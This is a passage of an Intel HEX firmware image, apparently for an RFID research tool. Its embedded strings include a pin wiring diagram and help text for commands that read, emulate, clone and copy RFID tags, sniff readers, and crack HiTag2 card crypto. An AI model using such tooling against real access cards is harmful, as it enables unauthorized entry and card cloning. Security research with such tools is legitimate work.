:10f7c80000000000534554205241544520000000d9
:10f7d800496e76616c696420646174612072617439
:10f7e800652100005345542052455045415420009e
:10f7f800496e76616c6964207265706574697469b4
:10f808006f6e732100000000534554205355423059
:10f818002000000053455420535542312000000079
:10f828005345542053594e43424954532000000035
:10f83800496e76616c6964206e756d626572206fc1
:10f8480066206269747321005345542053594e430e
:10f85800000000002575202558000000496e7661db
:10f868006c69642073796e63206279746521000085
:10f87800534554205441472000000000556e6b6edc
:10f888006f776e205441472074797065210000001d
:10f89800534554205654414720000000534e4946d2
:10f8a8004645520048697420616e79206b6579205d
:10f8b800746f2073746f7020736e69666665720d5d
:10f8c8000a000000534e4946462d50574d2043002c
:10f8d800534e4946462d50574d204c00534e4946ed
:10f8e800462d50574d205300534e4946462d5057ec
:10f8f8004d000000202564202564202564000000b8
:10f9080057616974696e6720666f722050574d2081
:10f918002868697420616e79206b657920746f207e
:10f9280061626f72742f7265706f7274292e2e2e39
:10f938000d0a000053544f50000000005441475333
:10f948000000000054434f4e464947004e6f742054
:10f95800737570706f7274656420666f7220746856
:10f968006973207461672074797065210000000054
:10f97800544553542d484954414700000d0a6265c7
:10f988006e63686d61726b20262076657269667990
:10f9980020486974616720322063727970746f201f
:10f9a800696d706c656d656e746174696f6e000069
:10f9b80050617373000000004641494c000000008c
:10f9c8000d0a43727970746f2073656c66207465d4
:10f9d8007374206f6620636f72726563746e6573eb
:10f9e80073203d20257300000d0a48697461672063
:10f9f800322063727970746f2c20696e6974202bc1
:10fa08002067656e2033322062697473202d20755b
:10fa1800733a20256c6400000d0a486974616720f8
:10fa2800322063727970746f2c2067656e206e6562
:10fa3800772033322062697473206f6e6c79202dc1
:10fa48002075733a20256c64000000000d0a48698f
:10fa580074616720322063727970746f2c20696e2c
:10fa68006974202b2067656e2033322062697473b5
:10fa78002c207831303030202d2075733a20256cb9
:10fa8800640d0a00544553542d5257440000000099
:10fa9800544553542d5343004154523a200000001a
:10faa800544553542d534400544553542d54494df3
:10fab80045520000544553542d57494547414e443b
:10fac80000000000544553542d57494547414e44c2
:10fad8002d52454144200000526561643a20257347
:10fae8000d0a0000496e76616c6964206465627570
:10faf800672070696e210000545245534554000038
:10fb0800202573005772697465206661696c6564a5
:10fb1800210000005452495354415445204f464651
:10fb2800000000005452495354415445204f4e00a0
:10fb38005457495045000000554944005645525312
:10fb4800494f4e00253034642d6265746120286465
:10fb580065627567290d0a00565441470000000088
:10fb6800565752495445200025752025730000003a
:10fb780056544147207772697465206661696c65df
:10fb880064210000496e76616c696420626c6f6361
:10fb98006b206e756d626572206f72206e6f2064c7
:10fba8006174612100000000574952494e47000026
:10fbb800574952455300000050494e530000000079
:10fbc80020203d3d3d20574952494e473a20504953
:10fbd8004333322050494333324d5837393546354f
:10fbe80031324c203d3d3d0d0a0000002020504997
:10fbf8004e204e554d424552202f204e414d452016
:10fc0800202020202020202046554e4354494f4e86
:10fc180020202020202020202020202020202020dc
:10fc28005553450d0a00000020203d3d3d3d3d3d1a
:10fc38003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dec
:10fc48003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3ddc
:10fc58003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0dfc
:10fc68000a000000202031332020202020202020de
:10fc78002020205f4d434c5220202020202020208f
:10fc880052455345545f425554544f4e202020202e
:10fc980020202020202020205265736574202f20ea
:10fca8005650500d0a000000202035392020202011
:10fcb80020202020202020524132202020202020d7
:10fcc800202020204943204672657175656e63794e
:10fcd80020494e2020202020202020204d656173bf
:10fce80075726520496e64756374616e63652f4330
:10fcf800617061636974616e63650d0a00000000dc
:10fd08002020363020202020202020202020205293
:10fd18004134202020202020202020204f522d490f
:10fd28004e2d41202020202020202020202020206f
:10fd3800202020204f75747075742066726f6d20b6
:10fd48005363686d6974742074726967676572209b
:10fd5800410d0a002020363120202020202020209c
:10fd68002020205241352020202020202020202023
:10fd78004f522d494e2d4220202020202020202087
:10fd880020202020202020204f7574707574206654
:10fd9800726f6d205363686d69747420747269673b
:10fda80067657220420d0a00202036372020202067
:10fdb80020202020202020524131352020202020c2
:10fdc800202020204c4544362020202020202020a0
:10fdd80020202020202020202020202055736572fc
:10fde800204c45442057686974650d0a00000000de
:10fdf800202036362020202020202020202020529d
:10fe080041313420202020202020202052454c4100
:10fe180059202020202020202020202020202020a1
:10fe280020202020446f6f722052656c61790d0a82
:10fe38000000000020203236202020202020202012
:10fe48002020205242362f504743202020202020b7
:10fe58005047432020202020202020202020202020
:10fe6800202020202020202050726f6772616d2092
:10fe7800436c6f636b0d0a0020203237202020204e
:10fe8800202020202020205242372f504744322063
:10fe980020202020504744322020202020202020cd
:10fea80020202020202020202020202050726f6732
:10feb80072616d204461746120320d0a00000000f7
:10fec80020203333202020202020202020202052d2
:10fed800423920202020202020202020532f43207a
:10fee800564343202020202020202020202020208e
:10fef8002020202049534f2d3738313620536d614b
:10ff0800727463617264205643430d0a0000000056
:10ff1800202033352020202020202020202020527f
:10ff28004231312f414e313120202020416e616c09
:10ff38006f67756520494e20202020202020202032
:10ff48002020202052656164657220616e616c6fab
:10ff580067756520646174610d0a000020203431e2
:10ff68002020202020202020202020524231322f03
:10ff7800414e313220202020416e616c6f677565db
:10ff8800204c4f5720494e20202020202020202080
:10ff9800566f6c7461676520646976696465722060
:10ffa8004c4f5720616e616c6f6775652064617492
:10ffb800610d0a002020343220202020202020201b
:10ffc800202020524231332f414e3133202020202f
:10ffd800416e616c6f677565204849474820494ef6
:10ffe8002020202020202020566f6c746167652017
:10fff80064697669646572204849474820616e6182
:020000041d02db
:100008006c6f67756520646174610d0a00000000fb
:100018002020303620202020202020202020205280
:1000280043312020202020202020202044454255f4
:100038004731202020202020202020202020202080
:10004800202020204c6f67696320416e616c7973b2
:1000580065722044656275672050696e20310d0a0b
:1000680000000000202030372020202020202020e1
:100078002020205243322020202020202020202011
:10008800444542554732202020202020202020208f
:1000980020202020202020204c6f67696320416e9b
:1000a800616c797365722044656275672050696e6a
:1000b80020320d0a000000002020303820202020a7
:1000c80020202020202020524333202020202020c0
:1000d800202020204445425547332020202020203e
:1000e8002020202020202020202020204c6f6769fd
:1000f8006320416e616c797365722044656275672f
:100108002050696e20330d0a00000000202030398d
:1001180020202020202020202020205243342f532c
:10012800444931202020202053445f434152445ffa
:10013800525820202020202020202020202020204d
:1001480053504920525820666f722053442043610f
:1001580072640d0a00000000202037322020202081
:10016800202020202020205244302f53444f31207b
:100178002020202053445f434152445f545820209c
:1001880020202020202020202020202053504920db
:10019800545820666f7220534420436172640d0adc
:1001a800000000002020373620202020202020209a
:1001b80020202052443120202020202020202020d0
:1001c800532f4320434c4b20202020202020202048
:1001d800202020202020202049534f2d3738313629
:1001e80020536d6172746361726420436c6f636b3a
:1001f8000d0a000020203737202020202020202032
:10020800202020524432202020202020202020207e
:1002180057494547414e445f315f4f555420202090
:10022800202020202020202057696567616e6420e7
:1002380031202f20436c6f636b202620446174614a
:10024800202d20436c6f636b204f55540d0a00001e
:100258002020373820202020202020202020205235
:1002680044332020202020202020202057494547a3
:10027800414e445f305f4f555420202020202020dd
:100288002020202057696567616e642030202f2068
:10029800436c6f636b20262044617461202d2044d9
:1002a800617461204f55540d0a0000002020383138
:1002b80020202020202020202020205244342020cc
:1002c80020202020202020205245414445522d4303
:1002d8004c4f434b2020202020202020202020206d
:1002e80052656164657220434f494c20434c4f432b
:1002f8004b0d0a00202038322020202020202020ea
:10030800202020524435202020202020202020207a
:1003180057494547414e445f305f494e20202020d1
:10032800202020202020202057696567616e6420e6
:1003380030202f20436c6f636b202620446174614a
:10034800202d204461746120494e0d0a00000000f0
:100358002020383320202020202020202020205238
:10036800443620202020202020202020574945479f
:10037800414e445f315f494e20202020202020201c
:100388002020202057696567616e642031202f2066
:10039800436c6f636b2026204461746120202d20fc
:1003a800436c6f636b20494e0d0a000020203638dd
:1003b80020202020202020202020205244382020c7
:1003c80020202020202020205245414445522d4401
:1003d800415441202020202020202020202020209f
:1003e80052656164657220434f494c204441544131
:1003f8000d0a00002020363920202020202020202f
:100408002020205244392f5f5353312020202020b0
:1004180053445f434152445f5353202020202020ff
:1004280020202020202020205350492053656c652f
:10043800637420534420436172640d0a0000000075
:10044800202037302020202020202020202020524b
:100458004431302f53434b312020202053445f43f5
:100468004152445f434c4b20202020202020202054
:100478002020202053504920436c6f636b20666f07
:100488007220534420436172640d0a0020203731e2
:1004980020202020202020202020205244313120dc
:1004a80020202020202020204c45443720202020b8
:1004b8002020202020202020202020202020202034
:1004c8004572726f72204c4544205265640d0a00d3
:1004d80020203739202020202020202020202052b2
:1004e800443132202020202020202020434c4f431c
:1004f8004b2d534e494646202020202020202020e6
:1005080020202020436c6f636b20536e6966660d54
:100518000a0000002020343820202020202020201d
:100528002020205244313520202020202020202047
:100538005f504f545f53485554444f574e20202026
:100548002020202020202020506f74656e74696f51
:100558006d6574657220706f77657220636f6e7455
:10056800726f6c0d0a0000002020393320202020f3
:10057800202020202020205245302020202020200c
:10058800202020204c4544342020202020202020da
:10059800202020202020202020202020456d756c40
:1005a800617465204c4544205265640d0a000000c2
:1005b80020203934202020202020202020202052d4
:1005c8004531202020202020202020204c45443365
:1005d8002020202020202020202020202020202013
:1005e80020202020436c6f636b204c4544205965c4
:1005f8006c6c6f770d0a00002020393820202020ed
:100608002020202020202052453220202020202079
:10061800202020204c45443220202020202020204b
:10062800202020202020202020202020436f6d6db6
:1006380073204c45442057686974650d0a00000012
:10064800202039392020202020202020202020523e
:100658004533202020202020202020204c454431d4
:100668002020202020202020202020202020202082
:1006780020202020555342204c4544204772656570
:100688006e0d0a002020303320202020202020203a
:1006980020202052453520202020202020202020e6
:1006a8004445425547342020202020202020202067
:1006b80020202020202020204c6f67696320416e75
:1006c800616c797365722044656275672050696e44
:1006d80020340d0a00000000202030342020202083
:1006e8002020202020202052453620202020202095
:1006f80020202020555345525f425554544f4e20d8
:1007080020202020202020202020202055736572c2
:1007180020646566696e656420627574746f6e0d19
:100728000a00000020203035202020202020202012
:100738002020205245372020202020202020202043
:10074800424f4f544c4f414445525f425554544fc9
:100758004e20202020202020426f6f746c6f61642f
:1007680065722073656c65637420627574746f6e4e
:100778000d0a0000202031382020202020202020b1
:1007880020202052453820202020202020202020f2
:10079800532f432052535420202020202020202053
:1007a800202020202020202049534f2d3738313653
:1007b80020536d617274636172642052657365744d
:1007c8000d0a000020203139202020202020202060
:1007d80020202052453920202020202020202020a1
:1007e8005245414445522d434c4f434b2d454e41b4
:1007f800424c4520202020205472692d5374617486
:100808006520636c6f636b2073656c6563740d0a98
:100818000000000020203837202020202020202021
:100828002020205246302020202020202020202058
:1008380053445f434152445f4445542020202020c4
:10084800202020202020202053442043617264204f
:100858004465746563740d0a000000002020383870
:100868002020202020202020202020524631202017
:10087800202020202020202053445f434152445f01
:1008880057502020202020202020202020202020f9
:100898005344204361726420577269746520507212
:1008a8006f746563742028756e75736564290d0a05
:1008b8000000000020203532202020202020202089
:1008c80020202052463220202020202020202020b6
:1008d800532f432052582020202020202020202041
:1008e800202020202020202049534f2d3738313612
:1008f80020536d617274636172642052580d0a004e
:100908002020353120202020202020202020205287
:1009180046332f55534249442020202055534249fd
:10092800442020202020202020202020202020209b
:100938002020202055534249440d0a0020203439f4
:1009480020202020202020202020205246342f53f1
:1009580044493420202020205350493420494e2037
:10096800202020202020202020202020202020207f
:10097800506f74656e74696f6d657465722044613b
:10098800746120494e0d0a00202035302020202097
:10099800202020202020205246352f53444f342039
:1009a8002020202053504934204f55542020202007
:1009b800202020202020202020202020506f746517
:1009c8006e74696f6d657465722044617461204f3f
:1009d80055540d0a00000000202035332020202027
:1009e800202020202020205246382020202020208f
:1009f80020202020532f432054582020202020201e
:100a080020202020202020202020202049534f2d46
:100a18003738313620536d617274636172642054c3
:100a2800580d0a00202034302020202020202020ab
:100a3800202020524631322f5f535334202020206b
:100a48005f5350493420534c4156452053454c453b
:100a58004354202020202020506f74656e74696fe5
:100a68006d657465722053656c6563740d0a0000ca
:100a78002020333920202020202020202020205210
:100a88004631332f53434b342020202053504934d0
:100a980020434c4f434b2020202020202020202082
:100aa80020202020506f74656e74696f6d657465c1
:100ab8007220436c6f636b0d0a00000020203537ed
:100ac80020202020202020202020205247322f4480
:100ad8002b20202020202020442b202020202020d4
:100ae80020202020202020202020202020202020fe
:100af80055534220442b0d0a0000000020203536b3
:100b080020202020202020202020205247332f443e
:100b18002d20202020202020442d2020202020208f
:100b280020202020202020202020202020202020bd
:100b380055534220442d0d0a00000000202031307a
:100b4800202020202020202020202052473620202e
:100b580020202020202020204c4544352020202003
:100b6800202020202020202020202020202020207d
:100b780052656164204c454420477265656e0d0ad4
:100b880000000000202031312020202020202020bb
:100b98002020205247372f5533525820202020201c
:100ba800434c49205541525433205258202020208c
:100bb80020202020202020205541525420434c49f9
:100bc8002f4150490d0a00002020313220202020da
:100bd800202020202020205247382f5533545820d9
:100be80020202020434c492055415254332054584a
:100bf8002020202020202020202020205541525431
:100c080020434c492f4150490d0a0000202031341f
:100c1800202020202020202020202052473920205a
:100c28002020202020202020456d756c6174696f7c
:100c38006e20434f494c20202020202020202020b7
:100c4800456d756c6174696f6e20434f494c0d0a90
:100c580000000000202035342020202020202020e3
:100c680020202056425553202020202020202020bc
:100c7800564275732020202020202020202020206c
:100c880020202020202020205553422056427573d2
:100c98000d0a000057494547414e442d4c454152e5
:100ca8004e00000057616974696e6720666f722094
:100cb80065787465726e616c2057696567616e64ea
:100cc80020726561646572202868697420616e7994
:100cd800206b657920746f2061626f7274292e2ee3
:100ce8002e0d0a0057494547414e442d4f55542073
:100cf8004f46460057494547414e442d4f555420cd
:100d08004f4e000057494547414e442d52454144f6
:100d18000000000057494547414e442d5752495459
:100d28004520000057696567616e642070617261d3
:100d38006d6574657273206e6f742073657421001d
:100d480057495045000000005752495445200000bb
:100d58002a000000414e414c4f4755455b4e5d20ef
:100d68003c23204f462053414d504c45533e2020b4
:100d7800202020202020202020202020202020206b
:100d8800202020202020202020202020202020205b
:100d98002053616d706c652072617720636f696c98
:100da80020285b4e5d6f206c6f63616c20636c6ff5
:100db800636b292026206f757470757420696e2006
:100dc800584d4c2028484558290d0a004150445593
:100dd800203c434c412b494e532b50312b50325b16
:100de8002b4c432b444154415d5b2b4c455d3e20cd
:100df80020202020202020202020202020202020eb
:100e08002020202020202020205472616e736d69dc
:100e1800742028484558292049534f2d37383136f2
:100e28002d34204150445520746f20536d617274e5
:100e3800436172642e2052657475726e2069732046
:100e48005b444154415d2b3c5357313e2b3c535737
:100e5800323e0d0a00000000415049202020202089
:100e6800202020202020202020202020202020207a
:100e7800202020202020202020202020202020206a
:100e8800202020202020202020202020202020205a
:100e9800202020202053776974636820746f2041d4
:100ea8005049206d6f64650d0a00000041534b20c6
:100eb8003c484558205549443e203c46433e203c4a
:100ec800524154453e203c5245504541543e202015
:100ed800202020202020202020202020202020200a
:100ee800202020202020202020456d756c6174650d
:100ef8002041534b2c204669656c6420436c6f631a
:100f08006b20696e2075532f3130302c204461746a
:100f180061205261746520696e2052462f6e0d0a59
:100f280000000000415452202020202020202020b2
:100f380020202020202020202020202020202020a9
:100f48002020202020202020202020202020202099
:100f58002020202020202020202020202020202089
:100f68002047657420416e7377657220546f205254
:100f7800657365742066726f6d20536d617274437a
:100f88006172640d0a00000041555448205b4845d1
:100f980058204b45595d205b424c4f434b5d202008
:100fa8002020202020202020202020202020202039
:100fb8002020202020202020202020202020202029
:100fc800202020202041757468656e7469636174ff
:100fd8006520696e2043525950544f206d6f6465e7
:100fe8000d0a00004155544f504f54202020202016
:100ff80020202020202020202020202020202020e9
:1010080020202020202020202020202020202020d8
:1010180020202020202020202020202020202020c8
:10102800204175746f2d4465746563742069646527
:10103800616c20504f542073657474696e6728730f
:10104800290d0a004155544f524154452020202073
:101058002020202020202020202020202020202088
:101068002020202020202020202020202020202078
:101078002020202020202020202020202020202068
:10108800204175746f2d44657465637420646174c0
:101098006120726174650d0a000000004155544fcb
:1010a80052554e205b4f4646207c20434f4d4d41c4
:1010b8004e44205b415247535d5d20202020202074
:1010c8002020202020202020202020202020202018
:1010d8002020202020202020205365742f53686f63
:1010e80077207374617274757020636f6d6d616eb3
:1010f800640d0a004155544f5441472020202020b8
:1011080020202020202020202020202020202020d7
:1011180020202020202020202020202020202020c7
:1011280020202020202020202020202020202020b7
:10113800204175746f2d446574656374205441476c
:1011480020747970650d0a0042494e544f4845583d
:10115800203c42494e3e20202020202020202020d4
:101168002020202020202020202020202020202077
:101178002020202020202020202020202020202067
:10118800202020202053686f772042494e41525931
:101198002061732048455820737472696e670d0a80
:1011a80000000000424c2020202020202020202069
:1011b8002020202020202020202020202020202027
:1011c8002020202020202020202020202020202017
:1011d8002020202020202020202020202020202007
:1011e800205265626f6f7420696e20424f4f544cd5
:1011f8004f41444552206d6f64650d0a00000000a0
:10120800434c49202020202020202020202020205e
:1012180020202020202020202020202020202020c6
:1012280020202020202020202020202020202020b6
:1012380020202020202020202020202020537769d3
:1012480074636820746f20434c49206d6f64650d8a
:101258000a000000434f494c203c484947487c4c11
:101268004f573e20202020202020202020202020f2
:101278002020202020202020202020202020202066
:101288002020202020202020202020202020202056
:101298002053657420656d756c61746f7220636f7f
:1012a800696c206f757470757420484947482f4cd5
:1012b8004f570d0a00000000434f4e464947202073
:1012c8002020202020202020202020202020202016
:1012d8002020202020202020202020202020202006
:1012e80020202020202020202020202020202020f6
:1012f800202020202053686f772063757272656ef6
:1013080074204e564d20636f6e6669670d0a0000a3
:10131800434f4e56455254203c544147545950452a
:101328003e20202020202020202020202020202097
:1013380020202020202020202020202020202020a5
:1013480020202020202020202020202020436f6ed5
:1013580076657274205654414720746f2054414773
:10136800545950450d0a0000434c4f434b48203c0c
:10137800485a3e20202020202020202020202020e5
:101388002020202020202020202020202020202055
:101398002020202020202020202020202020202045
:1013a8002020202020456e61626c6520482f572040
:1013b800544f47474c4520434c4f434b20287469b2
:1013c8006d696e677320696e20487a2c206d61788c
:1013d800203235302c303030290d0a00434c4f4331
:1013e8004b50203c50573e203c504552494f443ebc
:1013f80020202020202020202020202020202020e5
:1014080020202020202020202020202020202020d4
:10141800202020202020202020456e61626c65203d
:10142800482f572050574d20434c4f434b2028748a
:10143800696d696e677320696e2075532f3130307e
:101448002c206d61782035332c3638372c303931e3
:10145800290d0a00434c4f434b54203c50455249f8
:101468004f443e2020202020202020202020202003
:101478002020202020202020202020202020202064
:101488002020202020202020202020202020202054
:1014980020456e61626c6520482f5720544f47479e
:1014a8004c4520434c4f434b202874696d696e6747
:1014b8007320696e2075532f3130302c206d617880
:1014c8002035332c3638372c303931290d0a0000b5
:1014d800434c4f4e45205b484558204b45597c505e
:1014e80057445d202020202020202020202020205c
:1014f80020202020202020202020202020202020e4
:1015080020202020202020202020202020436f7011
:1015180079205669727475616c2054414720746f44
:101528002054414720286d61792072657175697270
:101538006520617574682f6c6f67696e290d0a00e4
:10154800434f5059205b544147545950455d205be7
:10155800484558204b45597c5057445d2020202051
:101568002020202020202020202020202020202073
:1015780020202020202020202020202020436f70a1
:1015880079205441472028616e64206f7074696f18
:101598006e616c6c7920636f6e7665727429207445
:1015a8006f205669727475616c2054414720286d0c
:1015b8006179207265717569726520617574682f2b
:1015c8006c6f67696e290d0a00000000444542559a
:1015d80047205b312d345d20202020202020202032
:1015e80020202020202020202020202020202020f3
:1015f80020202020202020202020202020202020e3
:10160800202020202020202020546f67676c652030
:101618004445425547206c696e6520737461746552
:1016280020286e6f20617267756d656e7420746f07
:101638002053484f572063757272656e7420737417
:1016480061746573290d0a0044454255474f464663
:10165800203c302d343e2020202020202020202017
:101668002020202020202020202020202020202072
:101678002020202020202020202020202020202062
:1016880020202020204445425547206f66662028a8
:101698004c4f572920283020666f7220414c4c2926
:1016a8000d0a000044454255474f4e203c302d342a
:1016b8003e20202020202020202020202020202004
:1016c8002020202020202020202020202020202012
:1016d8002020202020202020202020202020202002
:1016e800204445425547206f6e20284849474829dd
:1016f80020283020666f7220414c4c290d0a0000ca
:1017080044455445435420202020202020202020d8
:1017180020202020202020202020202020202020c1
:1017280020202020202020202020202020202020b1
:1017380020202020202020202020202020446574e4
:101748006563742065787465726e616c20636c6f74
:10175800636b207769746820524541444552206381
:101768006f696c0d0a000000444f4f52203c434cf7
:101778004f53457c4f50454e3e20202020202020ae
:101788002020202020202020202020202020202051
:101798002020202020202020202020202020202041
:1017a8002020202020436c6f7365206f72204f70bb
:1017b800656e20444f4f522052454c41590d0a0046
:1017c80044554d50203c535441525420424c4f43b1
:1017d8004b3e205b454e4420424c4f434b5d2020fe
:1017e80020202020202020202020202020202020f1
:1017f8002020202020202020202020202052656129
:101808006420616e64207669657720646174612064
:10181800626c6f636b28732920286d61792072656b
:10182800717569726520617574682f6c6f67696e70
:10183800290d0a00454d55203c5549443e2020209d
:101848002020202020202020202020202020202090
:101858002020202020202020202020202020202080
:101868002020202020202020202020202020202070
:10187800204f6e652d73686f7420656d756c61748b
:1018880065205549442077697468206375727265cc
:101898006e742054414720636f6e6669670d0a00b5
:1018a800454d554c41544f52205b42475d20202006
:1018b8002020202020202020202020202020202020
:1018c8002020202020202020202020202020202010
:1018d80020202020202020202020202020436f6e40
:1018e80074696e756f75736c7920656d756c61744c
:1018f800652056544147205b6f7074696f6e616c48
:101908006c7920696e20746865204261636b477248
:101918006f756e645d0d0a00454e434f4445203c8b
:101928005549443e205b544147545950455d202059
:10193800202020202020202020202020202020209f
:10194800202020202020202020202020202020208f
:10195800202020202053686f772072617720484527
:101968005820554944206f72206372656174652060
:101978005654414720666f7220656e636f646564d4
:10198800205549440d0a00004558414d504c4553d7
:10199800202020202020202020202020202020203f
:1019a800202020202020202020202020202020202f
:1019b800202020202020202020202020202020201f
:1019c800202020202053686f7720736f6d65206575
:1019d8006d756c6174696f6e206578616d706c658a
:1019e800730d0a0046534b203c484558205549443e
:1019f8003e203c46433e203c524154453e203c5309
:101a08005542303e203c535542313e203c524550d1
:101a18004541543e20202020202020202020202026
:101a280020456d756c6174652046534b2c204669c2
:101a3800656c6420436c6f636b20696e2075532f4f
:101a48003130302c20446174612052617465206902
:101a58006e2052462f6e2c0d0a2020202020202098
:101a6800202020202020202020202020202020206e
:101a7800202020202020202020202020202020205e
:101a8800202020202020202020202020202020204e
:101a9800202020202020202020202020202020530b
:101aa800756220436172726965727320302f31202c
:101ab800696e2052462f6e0d0a00000046524551ad
:101ac80055454e435920202020202020202020202a
:101ad80020202020202020202020202020202020fe
:101ae80020202020202020202020202020202020ee
:101af80020202020202020202053686f7720726526
:101b0800736f6e616e74206672657175656e637948
:101b1800206f6620636f696c0d0a000048454c50c1
:101b280020202020202020202020202020202020ad
:101b3800202020202020202020202020202020209d
:101b4800202020202020202020202020202020208d
:101b580020202020202020202053686f77207468c0
:101b680069732068656c700d0a0000004845585478
:101b78004f42494e203c4845583e202020202020f6
:101b8800202020202020202020202020202020204d
:101b9800202020202020202020202020202020203d
:101ba80020202020202020202053686f77204845bf
:101bb800582061732042494e41525920737472690a
:101bc8006e670d0a000000004849544147322d4312
:101bd8005241434b203c4e522f50524e3e203c41e6
:101be800522f5345435245543e2020202020202088
:101bf80020202020202020202020202020202020dd
:101c08002020202020437261636b2048695461675b
:101c18003220636172642063727970746f20285374
:101c28004e4946462d50574d206669727374290dea
:101c38000a0000004849544147322d4b4559535436
:101c48005245414d203c4e522f50524e3e203c4171
:101c5800522f5345435245543e2020202020202017
:101c6800202020202020202020202020202020206c
:101c780020526574726965766520486954616732d7
:101c880020636172642063727970746f206b657968
:101c980073747265616d2028534e4946462d50571e
:101ca8004d206669727374290d0a00004849544131
:101cb80047322d524541444552205b4b45595d20e2
:101cc8005b535d2020202020202020202020202061
:101cd80020202020202020202020202020202020fc
:101ce8002020202020202020205265616465722059
:101cf8006d6f646520666f722063727970746f20ef
:101d080061757468656e7469636174656420486997
:101d180054616732206f7065726174696f6e7320e9
:101d28002d20532073746f72657320746f204e5684
:101d380052414d0d0a0000004849544147322d4395
:101d48004c45415253544f52454454414753202027
:101d5800202020202020202020202020202020207b
:101d6800202020202020202020202020202020206b
:101d78002020202020436c656172732074686520e0
:101d880048695461673220746167732066726f6da9
:101d9800204e5652414d0d0a00000000484954415a
:101da80047322d434f554e5453544f524544544196
:101db80047532020202020202020202020202020c1
:101dc800202020202020202020202020202020200b
:101dd800202020202020202020446973706c617905
:101de8007320746865206e756d626572206f662059
:101df80048695461673220746167732073746f7225
:101e0800656420696e204e5652414d0d0a0000004f
:101e18004849544147322d4c49535453544f524525
:101e28004454414753205b53544152545d205b4511
:101e38004e445d202020202020202020202020200b
:101e480020202020202020202020202020446973ca
:101e5800706c617973207468652073746f7265643f
:101e680020746167732066726f6d20535441525419
:101e780020746f20454e440d0a0000004c4f414429
:101e8800202020202020202020202020202020204a
:101e9800202020202020202020202020202020203a
:101ea800202020202020202020202020202020202a
:101eb8002020202020202020204c6f616420636f88
:101ec8006e6669672066726f6d204e564d0d0a006a
:101ed8004c4544203c312d363e2020202020202017
:101ee80020202020202020202020202020202020ea
:101ef80020202020202020202020202020202020da
:101f080020202020202020202020202020546f67ff
:101f1800676c65204c45440d0a0000004c45444f51
:101f28004646203c302d363e2020202020202020f0
:101f38002020202020202020202020202020202099
:101f48002020202020202020202020202020202089
:101f58002020202020202020204c4544206f666629
:101f680020283020666f7220414c4c290d0a000051
:101f78004c45444f4e203c302d363e20202020201a
:101f88002020202020202020202020202020202049
:101f98002020202020202020202020202020202039
:101fa800202020202020202020202020204c4544b4
:101fb800206f6e20283020666f7220414c4c290d0e
:101fc8000a0000004c4f47494e205b5057445d20a3
:101fd8005b424c4f434b5d202020202020202020b6
:101fe80020202020202020202020202020202020e9
:101ff80020202020202020202020202020202020d9
:102008002041757468656e74696361746520696ed2
:102018002050415353574f5244206d6f64650d0a49
:102028000000000050494e4720202020202020207a
:102038002020202020202020202020202020202098
:102048002020202020202020202020202020202088
:102058002020202020202020202020202020202078
:10206800204b656570616c697665202d20707269fa
:102078006e74732027524649446c6572270d0a0016
:1020880050494e532020202020202020202020208e
:102098002020202020202020202020202020202038
:1020a8002020202020202020202020202020202028
:1020b8002020202020202020202020202053686f4e
:1020c8007720776972696e67206469616772616dec
:1020d8002028616c6961733a20574952455320574b
:1020e8004952494e47290d0a00000000504f5453e9
:1020f80020202020202020202020202020202020d8
:1021080020202020202020202020202020202020c7
:1021180020202020202020202020202020202020b7
:1021280020202020202020202053686f7720504f27
:10213800542077697065722073657474696e67736b
:102148000d0a0000504f54494e43203c487c4c3ef9
:10215800203c312d3235353e2020202020202020e3
:102168002020202020202020202020202020202067
:102178002020202020202020202020202020202057
:1021880020496e6372656d656e7420504f540d0a58
:1021980000000000504f54444543203c487c4c3ece
:1021a800203c312d3235353e202020202020202093
:1021b8002020202020202020202020202020202017
:1021c8002020202020202020202020202020202007
:1021d8002044656372656d656e7420504f540d0a16
:1021e80000000000504f545345545b565d5b4e56fb
:1021f8005d203c487c4c3e203c302d3235353e201d
:1022080020202020202020202020202020202020c6
:1022180020202020202020202020202020202020b6
:1022280020536574205b566f6c74735d5b4e6f6ee4
:1022380020566f6c6174696c655d20504f5420772f
:10224800697065720d0a000050534b31203c4845b7
:1022580058205549443e203c46433e203c52415478
:10226800453e203c5355423e203c52455045415442
:102278003e20202020202020202020202020202038
:102288002020202020456d756c6174652050534bcb
:10229800312c204669656c6420436c6f636b206940
:1022a8006e2075532f3130302c20446174612052d8
:1022b80061746520696e2052462f6e2c0d0a20200d
:1022c8002020202020202020202020202020202006
:1022d80020202020202020202020202020202020f6
:1022e80020202020202020202020202020202020e6
:1022f80020202020202020202020202020202020d6
:102308002020202053756220436172726965722013
:10231800696e2052462f6e0d0a00000050574d205e
:102328003c46433e203c534c4545503e203c57419b
:102338004b453e203c5057303e203c5057313e20c4
:102348003c4741503e203c545852583e203c52583d
:1023580054583e2020202020205365742050574d8b
:1023680020706172616d657465727320666f72208a
:1023780052574420636f6d6d616e64732c204669fb
:10238800656c6420436c6f636b20696e2075532ff6
:102398003130302c2074696d696e677320696e2046
:1023a8004643730d0a00000052454144203c5354f3
:1023b80041525420424c4f434b3e205b454e4420f3
:1023c800424c4f434b5d20202020202020202020fd
:1023d80020202020202020202020202020202020f5
:1023e80020202020205265616420616e642073746f
:1023f8006f7265206461746120626c6f636b28730f
:102408002920286d6179207265717569726520616e
:102418007574682f6c6f67696e290d0a00000000db
:1024280052454144455220202020202020202020b1
:102438002020202020202020202020202020202094
:102448002020202020202020202020202020202084
:1024580020202020202020202020202020476f20fe
:10246800696e746f20524541444552206d6f646512
:102478002028636f6e74696e756f75736c7920614f
:1024880063717569726520554944290d0a00000079
:102498005245424f4f542020202020202020202029
:1024a8002020202020202020202020202020202024
:1024b8002020202020202020202020202020202014
:1024c800202020202020202020202020205065723d
:1024d800666f726d20736f66742072657365740d14
:1024e8000a000000525443202020202020202020d1
:1024f80020202020202020202020202020202020d4
:1025080020202020202020202020202020202020c3
:1025180020202020202020202020202020202020b3
:102528002053686f77205265616c2054696d65206f
:10253800436c6f636b0d0a00525744203c42494e6e
:102548004152593e202020202020202020202020d9
:102558002020202020202020202020202020202073
:102568002020202020202020202020202020202063
:10257800202020202053656e642062696e61727984
:1025880020636f6d6d616e642f646174610d0a0064
:102598005341564520202020202020202020202084
:1025a8002020202020202020202020202020202023
:1025b8002020202020202020202020202020202013
:1025c8002020202020202020202020202053617639
:1025d800652063757272656e7420636f6e666967d5
:1025e80020746f204e564d0d0a00000053454c458f
:1025f8004354205b5549445d202020202020202082
:1026080020202020202020202020202020202020c2
:1026180020202020202020202020202020202020b2
:1026280020202020202020202053656e6420534540
:102638004c45435420636f6d6d616e640d0a000054
